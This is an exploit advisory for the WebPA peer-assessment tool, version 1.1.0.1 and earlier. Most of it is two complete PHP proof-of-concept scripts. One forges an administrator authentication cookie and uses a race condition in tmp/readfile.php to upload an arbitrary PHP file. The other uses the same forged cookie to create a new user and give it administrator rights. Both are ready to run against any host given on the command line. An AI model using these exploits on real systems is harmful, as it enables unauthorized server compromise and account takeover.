WebPA 1.1.0.1 File Upload / Add Administrator

Posted on 25 August 2012
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 [ Discovered by dun  posdub[at]gmail.com ]
 [ 2012-08-23 ]
##################################################
# [ WebPA <= 1.1.0.1 ] Multiple Vulnerabilities #
##################################################
#
# Script: "WebPA is an open source online peer assessment tool that enables
# every team member to recognise individual contributions to group work."
#
# Vendor: http://www.webpaproject.com/
# Download: http://sourceforge.net/projects/webpa/files/webpa/
# Exploits were tested on:
# Windows (Apache 2.2.17 + php 5.2.17)
# Linux Centos (Apache 2.2.3 (CentOS) + php 5.2.17)
#
##################################################
# [ Arbitrary File Upload ]
# PoC exploit Code:
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $port, $headers) {
 $fp = fsockopen($host, $port);
 if (!$fp) die('Connection -> fail');
 fputs($fp, $headers);
 return $fp;
}

function http_recv($fp) {
 $ret="";
 while (!feof($fp))
 $ret.= fgets($fp, 1024);
 fclose($fp);
 return $ret;
}

print "
# WebPA v1.1.0.1 Arbitrary File Upload #
";
print "# Discovered by dun  posdub[at]gmail.com #

";
if ($argc < 3) {
 print "Usage: php $argv[0] <host> <path>
";
 print "Example: php $argv[0] localhost /WebPA/
";
 die();
}

$host = $argv[1];
$path = $argv[2];
$tmp = 'tmp/';
$temp_prefix='temp_';
$up_file='phpinfo.php';
$i=0;
// preparing cookie for authentication bypass
$cookie = base64_encode((time()*2).'|'.(time()*2).'|'.serialize(array('user_id'=> '1', 'admin'=> '1')));
// preparing POST data to perform the maximum delay before deleting temporary php file
$payload = "-----------------------------187161971819895
";
$payload .= "Content-Disposition: form-data; name="uploadedfile"; filename="%s"
";
$payload .= "Content-Type: text/plain

";
$payload .= "<?php fwrite(fopen('%s','w'),'<?php phpinfo(); ?>'); ?>!".str_repeat("A",40)."
";
// making max lag, before unlink
$payload .= str_repeat(str_repeat("A!",1)."!".str_repeat("A!",4)."
",1000)."
";
$payload .= "-----------------------------187161971819895
";
$payload .= "Content-Disposition: form-data; name="rdoFileContentType"

";
$payload .= "2
";
$payload .= "-----------------------------187161971819895
";
$payload .= "Content-Disposition: form-data; name="rdoFileSeperator"

";
$payload .= "!
";
$payload .= "-----------------------------187161971819895--
";
$headers = "POST {$path}{$tmp}readfile.php HTTP/1.1
";
$headers .= "Host: {$host}
";
$headers .= "Connection: close
";
$headers .= "Cookie: AUTH_COOKIE={$cookie}
";
$headers .= "Content-Type: multipart/form-data; boundary=---------------------------187161971819895
";
$headers .= "Content-Length: ".strlen($payload)."

";
$headers .= sprintf($payload, $temp_prefix.$up_file, $up_file);
fclose(http_send($host, 80, $headers));
$headers = "GET {$path}{$tmp}%s HTTP/1.0
";
$headers .= "Host: {$host}
";
$headers .= "Connection: close

";

while(++$i<1000) {
 $res=http_recv(http_send($host, 80, sprintf($headers, $temp_prefix.$up_file)));
 if(!preg_match('/404 Not Found/',$res)) {
 $res=http_recv(http_send($host, 80, sprintf($headers, $up_file)));
 if(preg_match('/200 OK/',$res))
 print "Success!

Uploaded file: http://{$host}{$path}{$tmp}{$up_file}
";
 break;
 }
}
if($i==1000) print "Failed.
";
?>
#
##################################################
# [ Arbitrary Add Admin ]
# PoC exploit Code:
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $port, $headers) {
 $fp = fsockopen($host, $port);
 if (!$fp) die('Connection -> fail');
 fputs($fp, $headers);
 return $fp;
}

function http_recv($fp) {
 $ret="";
 while (!feof($fp))
 $ret.= fgets($fp, 1024);
 fclose($fp);
 return $ret;
}

print "
# WebPA v1.1.0.1 Arbitrary Add Admin Exploit #
";
print "# Discovered by dun  posdub[at]gmail.com #

";
if ($argc < 5) {
 print "Usage: php $argv[0] <host> <path> username password
";
 print "Example: php $argv[0] localhost /WebPA/ foo bar
";
 die();
}

$host = $argv[1];
$path = $argv[2];
$newuser = $argv[3];
$newpass = $argv[4];
$cookie = base64_encode((time()*2).'|'.(time()*2).'|'.serialize(array( 'user_id'=> '1', 'admin'=> '1' )));
print "Adding a new user [ {$newuser} : {$newpass} ]
";
$payload = "-----------------------------187161971819895
";
$payload .= "Content-Disposition: form-data; name="uploadedfile"; filename="user.csv"
";
$payload .= "Content-Type: text/csv

";
$payload .= "institutional_reference,forename,lastname,email,username,module_code,department_id,course_id,password
";
$payload .= "1,2,3,4,{$newuser},6,7,8,{$newpass}

";
$payload .= "-----------------------------187161971819895
";
$payload .= "Content-Disposition: form-data; name="rdoFileContentType"

";
$payload .= "2
";
$payload .= "-----------------------------187161971819895--
";
$headers = "POST {$path}admin/load/simple.php HTTP/1.1
";
$headers .= "Host: {$host}
";
$headers .= "Connection: close
";
$headers .= "Cookie: AUTH_COOKIE={$cookie}
";
$headers .= "Content-Type: multipart/form-data; boundary=---------------------------187161971819895
";
$headers .= "Content-Length: ".strlen($payload)."

";
$headers .= ($payload);
fclose(http_send($host, 80, $headers));
sleep(2);
print "Granting admin privileges for user [ {$newuser} ]
";
$headers = "GET {$path}admin/review/staff/index.php HTTP/1.0
";
$headers .= "Host: {$host}
";
$headers .= "Connection: close
";
$headers .= "Cookie: AUTH_COOKIE={$cookie}

";
preg_match_all('/php?u=(d+)/',http_recv(http_send($host, 80, $headers)) , $matches);
if(!is_numeric(max($matches[1]))) die('Failed.');
sleep(2);
$payload = "rdo_type=staff&name=1&surname=2&email=3&password={$newpass}&chk_admin=on&save=".urlencode('Save Changes');
$headers = "POST {$path}admin/edit/index.php?u=".max($matches[1])." HTTP/1.0
";
$headers .= "Host: {$host}
";
$headers .= "Connection: close
";
$headers .= "Cookie: AUTH_COOKIE={$cookie}
";
$headers .= "Content-Type: application/x-www-form-urlencoded
";
$headers .= "Content-Length: ".strlen($payload)."

";
$headers .= ($payload);
fclose(http_send($host, 80, $headers));
print "Success!

";
print "http://{$host}{$path}login.php
";
print "user: {$newuser}
";
print "pass: {$newpass}
";
?>
#
### [ dun / 2012 ] ###############################
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